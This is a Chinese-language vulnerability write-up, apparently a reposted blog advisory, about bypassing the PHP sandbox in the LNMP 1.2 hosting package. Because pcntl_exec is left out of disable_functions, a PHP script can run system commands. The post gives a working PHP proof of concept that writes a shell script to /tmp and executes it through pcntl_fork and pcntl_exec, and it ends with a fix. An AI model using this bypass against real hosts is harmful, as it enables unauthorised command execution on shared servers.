LNMP虚拟主机PHP沙盒绕过/命令执行
lnmp更新1.2版本,很多东西都升级了,很棒。不过还是发现一个BUG。
LNMP是一款linux下nginx、php、mysql一键安装包。
下载:http://soft.vpser.net/lnmp/lnmp1.2.tar.gz
执行一个命令即可简单安装。
漏洞详情
LNMP是这样配置沙盒的:
- disable_functions,配置在 include/php.sh中:
其值为:
1 |
passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket |
- open_basedir,在创建虚拟主机的时候配置:
如上图,方法是在虚拟主机跟目录里,新建一个.user.ini文件,并通过这个ini设置open_basedir,并用chattr +i赋予其不可修改的权限。
但如果php可以执行系统命令的话,open_basedir也没什么意义了。
我们看看编译php的选项:
可见开启了PHP默认不开启的pcntl:–enable-pcntl。
我们看前面,pcntl_exec是没有被禁用了。不知道为什么,这个版本把pcntl_exec的禁用给去掉了,这就导致了虚拟主机的沙盒绕过、命令执行。
给出pcntl_exec执行命令的方法。
pcntl_exec是类似windows下的shell.application。需要我们先写一个脚本文件,然后用其执行。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php header("Content-Type: text/plain"); $cmd="/tmp/exec"; @unlink($cmd); @unlink("/tmp/output"); $c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n"; file_put_contents($cmd, $c); chmod($cmd, 0777); switch (pcntl_fork()) { case 0: $ret = pcntl_exec($cmd); exit("case 0"); default: echo "case 1"; break; } |
写一个脚本,执行命令后把结果输出到/tmp/output。
然后用pcntl_fork(),fork出一个子进程,在子进程里调用pcntl_exec执行这个脚本。否则在父进程里执行pcntl_exec后会导致进程一直处在等待状态,最后导致502。
然后查看output,echo file_get_contents("/tmp/output");
执行任意命令沙盒bypass,虚拟主机也就没什么意义了。
解决方案
禁用pcntl_exec,或者不要–enable-pcntl
原文地址:https://www.cnblogs.com/studyskill/p/8946971.html